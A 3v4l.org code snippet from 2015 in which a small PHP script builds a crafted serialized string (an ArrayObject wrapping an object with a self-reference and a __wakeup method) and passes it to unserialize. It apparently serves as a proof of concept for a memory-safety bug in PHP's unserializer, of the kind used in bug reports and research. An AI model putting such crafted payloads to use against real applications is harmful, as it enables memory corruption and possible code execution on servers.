3v4l.org

run code in 300+ PHP versions simultaneously

sponsor
bughunt
search
recent
about

@ 2015-10-02T12:55:44Z

<?php

class obj {
    var $y;
    function __wakeup() {
        $this->y = 1;
    }
}

$inner = 'x:i:1;O:3:"obj":1:{s:1:"y";R:1;};m:a:1:{i:0;O:8:"stdClass":0:{}}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
var_dump(unserialize($exploit));

Output
Performance
VLD
References
Branches

var_dump: documentation ( source)
unserialize: documentation ( source)

preferences:dark modelive preview

47.02 ms | 402 KiB | 5 Q